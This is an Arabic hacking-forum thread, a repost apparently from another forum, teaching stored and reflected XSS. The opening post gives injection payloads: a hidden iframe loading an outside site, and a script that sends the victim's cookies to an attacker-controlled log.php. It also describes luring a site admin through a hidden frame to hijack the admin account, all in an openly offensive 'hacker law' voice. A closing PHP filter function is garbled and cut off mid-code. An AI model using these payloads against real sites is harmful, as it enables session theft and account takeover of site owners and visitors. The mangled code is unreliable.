ثغرات xss

ثغرات xss


النتائج 1 إلى 6 من 6

الموضوع: ثغرات xss

  1. #1

    افتراضي ثغرات xss

    سم الله الرحمن الرحيم

    السلام عليكم ورحمة الله وبركاته

    مساكم الله بالخير .. كيف الحال عساكم بخير ان شاء الله

    موضوعنا اليوم .. دراسة حول ثغرات الـ XSS .. والموضوع أمني هكري >> افهمها عاد

    ثغرات الـ xss سمعنا فيها كثير .. وكأقرب مثال عندنا ثغرات التحويل بهاك آخر عشرة مواضيع و الاحصائيات

    وغيره من السكريبتات ..

    مقدمة /

    عبارة xss .. هي اختصار للعبارة التالية " Cross Site Scripting " وبعض الأحيان تسمى الثغرات بإسم CSS

    ثغرة الـ xss .. باختصار .. هي تمكن المخترق من حقن اكواد html داخل السكريبت المصاب

    وتكون عن طريق خطأ برمجي داخل السكريبت ..

    الخطورة /

    تخيل معي انك داخل موقع ومحصل فيه ثغرة xss .. جاك واحد قال لك .. الحين انت تقدر تضيف للموقع
    اي كود html .. سواء اكواد عادية او جافا سكريبت وغيره من توابع لغة html ..
    هنا نبدا التفكير .. حنا وش نقدر نسوي بالـ html عشان نحقنها داخل الموقع ؟؟
    ما توصلت له من نتايج بحثي البسيطة ..
    1- سرقة كوكيز اي شخص داخل نظام السكريبت .
    2- تلغيم الموقع بحقن كود html .. لثغرة بمتصح معين لتحميل الباتش بجهاز متصفحين السكريبت .
    3- اضافة اي كود جافا سكريبت الى الموقع .
    4- اضافة أي كود html بجميع انواعه الى الموقع .

    اعتقد كذا الخطورة وضحت .. البعض كان يتوقع ان الثغرات ذي تافهه ومالها معنى .. لكن اللي يفكر زين

    يحصل نتايج حلوة واستغلالات أقوى بإذن الله .. على سبيل المثال .. ركزوا على النتيجة رقم 2

    تلاحظون ان الخطورة وصلت لحقن باتش بالسكريبت .. ومن ثم ينتشر بجهاز الزوار بمجرد تصفح السكريبت

    من بين الزوار مدير السكريبت او صاحب الموقع او صاحب الاستضافة .. تخيلوا معي ان جهازه طاح فيه باتش

    وش راح يوصل له الهكر ؟؟

    جهازه + ايميله + بيانات المواقع بجهازه ..

    وكل نتيجة من النتايج بالأعلى لها خطورة .. كل واحدة أخطر من الثانية للي يفكر ويستغل زين !!

    ================================
    انواع ثغرات الـ XSS ..!!

    1- xss داخلي .
    2- xss خارجي .
    ================================

    نبدا بتفصيل النوع الأول وهو الـ xss الداخلي ..

    بكل بساطه وهي ان يتم حقن الكود داخل الموقع .. عن طريق الـ POST
    كمثال ..
    ثغرة الـ xss في هاك الاهداءات .. كيف يتم حقن الـ xss داخل المنتدى ؟؟

    كل اللي عليك .. تدخل تسوي اضافة اهداء .. مكان محتوى الاهداء اكتب كود الـ html تبعك

    كنك على الـ code داخل الفرونت بيج

    ثم اضغط زر اضافة .. وسوي تحديث لصفحة المنتدى .. وبتلاحظ ان شريط الاهداءات شغال وفيه اهداءك

    محقون بكود html .. يتنفذ في جميع الأجهزة اللي تشاهد الاهداءات !!

    هنا نقول عنه حقن داخلي .. لأنه تم عن طريق الـ POST تبع الاهداءات " نموذج اضافة اهداء "

    وبعد الكود داخلي محفوظ ويتنفذ للجميع ..

    جرب شف اي سكريبت مصاب بثغرة xss داخليه

    احقنه بهالكود
    كود PHP:
    <html>
    <****** 
    name="I1" ***="http://www.hack15.com" margin*****="1" margin******="1" ******="1" *****="1" scrolling="no" border="0" frameborder="0">
    <
    /******>
    </******></p>
    </html> 

    بمجرد حقن هذا الكود داخل السكريبت .. سيتم ادراج صفحة hack15.com داخل الموقع بشكل غير مرئي

    .. لنفرض ان صفحة hack15.com .. فيها كود سحب الكوكيز .. او ملغومة بباتش .. أو أي كود html آخر خطر !!

    وعدا ذلك من الأكواد اللي تقدر تبحث عنها بقوقل .. وتحقنها بسهولة داخل السكريبت المصاب ..

    ================================================

    اما بالنسبة للنوع الثاني ..

    ثغرات الـ xss الخارجية ..

    هالنوع من الثغرات لايحقن من داخل الموقع .. ولكن من خارج الموقع عن طريق المتصفح من خلال رابط الموقع

    ولايتم حفظ الحقن داخل الموقع .. بمعنى أصح .. الكود اللي تحقنه داخل الصفحة .. انت الوحيد اللي تشوفه ..

    وبعد ما تستعرضه انت ما راح يشوفه احد غيرك !!

    مثال ..
    كود PHP:
     www.site.com/show.php?edit=[xss]


    مثل ما تلاحظون الملف المصاب هو show.php وفيه ثغرة xss في المتغير edit

    بمعنى آخر 
    .. اي كود نطبعه بعد علامة " = " يتم عرضه داخل الصفحة ==> لك فقط !!

    تعالوا نجرب نحقن كود html لآظهار مربع رسالة خطأ مكتوب فيه .. Hacked By GeNiUs HaCkEr

    .. شف الكود

    كود
    :

    <**********
    alert("Hacked By GeNiUs HaCkEr");//<</SCRIPT>

    مع دجه بالثغره الافتراضية فوق

    الحقن بيكون كذا

    كود
    :

     
    www.site.com/show.php?edit=<**********alert("Hacked By GeNiUs HaCkEr");//<</SCRIPT>

    جرب ادخل الرابط بالأعلى .. بتلاحظ ظهور مربع خطأ مكتوب فيه Hacked By GeNiUs HaCkEr

    الحقن خارجي 
    .. وكذلك الحقن ما يظهر إلا لك انت .. بمعنى آخر هالكود ينحقن وينعرض لك ثم ينحذف

    ما احد يشوفه غير اللي يدخل رابط الحقن نفسه

    هنا بيجي سؤال 
    .. كيف أظهر الحقن ذا للضحية اللي ابيه يشوفه

    يعني ارسل رسالة لمدير الموقع اقول له يدخل الرابط ذا

    كود
    :

      
    www.site.com/show.php?edit=<**********alert("Hacked By GeNiUs HaCkEr");//<</SCRIPT>

    ؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟

    صعبة شوي 
    .. ومالها فايده .. بيفهم الثغرة بالراحة .. ^_^

    جاك واحد ثاني قال لا !!

    يقول لك اخونا في الله .. شرايكم .. نسوي ملف log.php على موقع ثاني .. مهمته يستقبل اي معلومات توصل له

    ويرسلها لايميلك

    الآن 
    .. نستخدم ثغرة الـ xss في الموقع .. نعطيها أمر سحب الكوكيز من جهاز الضحية .. ويرسلها لملف log.php

    وملف log
    .php .. يوصلها لنا برسالة .. بعدها حنا .. ناخذ الكوكيز .. ونفكه وندخل بعضوية المدير العام ونخترق السكريبت !!

    شف على سبيل المثال نحقن ذا الكود /

    كود:

     **********
    dcidcilocation.href="http://www.hack15.com/log/log.php"+dcidcidocument.coockie</Script>

    تعالوا نحقنه عن طريق الرابط
    كود
    :

     
    www.site.com/show.php?edit=<**********dcidcilocation.href="http://www.hack15.com/log/log.php"+dcidcidocument.coockie<</SCRIPT>

    الحين اي شخص يدخل الرابط المحقون ذا .. بيسحب الكوكيز من جهازه ويرسلها لملف log.php

    كيف نخلي مدير الموقع أو الضحية يفتح الرابط ذا عشان نسحب كوكيزه ؟؟

    أو بمعنى أصح كيف الهكر يسحب الكوكيز ويدخلني انا كصاحب سكريبت فيه هالثغره ويسحب كوكيزي ؟؟

    بسيطه جداً عالهكر 
    .. يسوي صفحة html عاديه ويضيف لها فريم داخلي مخفي .. ( ****** )

    انه فتح لي هالرابط داخل الصفحة بدون ما الاحظ فتحه او افتحه بنفسي

    كود
    :

     
    www.site.com/show.php?edit=<**********dcidcilocation.href="http://www.hack15.com/log/log.php"+dcidcidocument.coockie<</SCRIPT>


    ويرفعه على اي موقع .. ويدخلنا فيه عاد بطريقته ويسحب الكوكيز !!

    عاد الهكر .. كل واحد يطور براحته في الثغره .. خاصة اللي يفهم بلغة الجافا سكريبت ..

    يسوي أكثر من كذا !!

    ================================================== ========================

    الحل /

    ان اكتشفت انه فيه ثغرة داخل ملف add.php مثلاً بأحد السكريبتات بموقعك

    فيه طريقتين للحل 
    .. حسب ما بحثت وقريت ..

    الحل الأول .. تعدل على الكود .. وتمنع اكواد الـ html من التنفيذ

    او تضيف 
    function Remove XSS

    حصلته في أحد المواضيع للأخ jadweb
    .com

    وصراحه جربته 
    .. وفعال وناجح !!

    مثل الفلتر .. يفلتر لك النصوص بأحد المتغيرات

    ظيفة الـ 
    function هي حذف اي ثغرة من نوع XSS بشكل نهائي لو يتم استخدامه

    في اي برنامج راح يزيد نسبة الآمان بشكل كبير 
    .

    طبعاً هذا كود الـ function
    [
    code]
    function 
    RemoveXSS($val) {
    // remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
    // this prevents some character re-spacing such as <java\0script>
    // note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs
    $val preg_replace('/([\x00-\x08][\x0b-\x0c][\x0e-\x20])/'''$val);

    // straight replacements, the user should never need these since they're normal characters
    // this prevents like <IMG ***=&#X40&#X61&#X76&#X61&#X73&#X63&#X72&#X69&#X70& #X74&#X3A&#X61&#X6C&#X65&#X72&#X74&#X28&#X27&#X58& #X53&#X53&#X27&#X29>
    الموضوع الأصلى من هنامنتديات القرصان http://www.alkrsan.net/iacie-caaaecthu-websites-protection/9904-eunce-xss.html
    $search 'abcdefghijklmnopqrstuvwxyz';
    $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $search .= '1234567890!@#$%^&*()';
    $search .= '~`";:?+/={}[]-_|\'\\';
    for (
    $i 0$i strlen($search); $i++) {
    // ;? matches the ;, which is optional
    // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars

    // &#x0040 @ search for the hex values
    $val preg_replace('/(&#[x|X]0{0,8}'.dechex(ord($search[$i])).';?)/i'$search[$i], $val); // with a ;
    // @ @ 0{0,7} matches '0' zero to seven times
    $val preg_replace('/(

    منقول لافادة
    تحياتي 
    قانون الهكر
    وراء كل ابتسامة هكر .. دمعة ضحيه

    نعشق الموت لكي لا تعشقنا الحياة فدخلنا مدارس الهكر لنعاقب الحقراء

    ... لا نعرف الرحمه ولا نرضى بالتهديد لك حرية التعبير ولي حرية التهكير

    "....... نحن لا نخترق لكي نثبت اننا محترفون بل نضع بصمة في تاريخك ....... "

  2. #2
    هكر مجتهد الصورة الرمزية MASTER-HACK
    تاريخ التسجيل
    Dec 2011
    الدولة
    مــصر ام الدنيا
    المشاركات
    209

    افتراضي رد: ثغرات xss

    شكراً على الموضوع الرائع بس انا ما اعرف كيف اكتشف ثغرات للموقع :p

  3. #3

    افتراضي رد: ثغرات xss

    thxxxx best wishes
    Egyptian haCker


    No End



    pop11 & Rafetringo & StOrM in facebook


  4. #4

    افتراضي رد: ثغرات xss

    موضوع في قمـة الروعة وشكرن ع المجهووود الاكثر من رائع اخوي وواصل ابداعاتك ..

  5. #5

    افتراضي رد: ثغرات xss

    مشكورين اخواني علي المرور
    قانون الهكر
    وراء كل ابتسامة هكر .. دمعة ضحيه

    نعشق الموت لكي لا تعشقنا الحياة فدخلنا مدارس الهكر لنعاقب الحقراء

    ... لا نعرف الرحمه ولا نرضى بالتهديد لك حرية التعبير ولي حرية التهكير

    "....... نحن لا نخترق لكي نثبت اننا محترفون بل نضع بصمة في تاريخك ....... "

  6. #6

    افتراضي رد: ثغرات xss

    منقوووووووووووووووووووووو ووول
    We are Syrians
    We are Free
    Sunni, Shia, christian
    I don't care We are all free



    Channel: http://www.youtube.com/MacBook3rabi
    Twitter: https://twitter.com/macbook3arabi
    We are White Hats hackers, We don't Hack we protect

المواضيع المتشابهه

  1. خمس ثغرات للمواقع
    بواسطة قادم في المنتدى قسم الثغرات
    مشاركات: 11
    آخر مشاركة: 02-26-2012, 01:24 AM
  2. ثغرات جديدة
    بواسطة angel2486 في المنتدى قسم المشاكل والإستفسارات
    مشاركات: 2
    آخر مشاركة: 02-05-2012, 04:14 PM
  3. ثغرات السيكول
    بواسطة adam30 في المنتدى قسم المشاكل والإستفسارات
    مشاركات: 1
    آخر مشاركة: 11-12-2010, 03:36 PM
  4. ثغرات cgi
    بواسطة angel2486 في المنتدى قسم المشاكل والإستفسارات
    مشاركات: 2
    آخر مشاركة: 11-12-2010, 03:26 PM
  5. سد ثغرات وندوز xp
    بواسطة الحارقx في المنتدى منتدى الإختراق العام
    مشاركات: 4
    آخر مشاركة: 03-19-2010, 03:24 PM

المفضلات

أذونات المشاركة

  • لا تستطيع إضافة مواضيع جديدة
  • لا تستطيع الرد على المواضيع
  • لا تستطيع إرفاق ملفات
  • لا تستطيع تعديل مشاركاتك
  •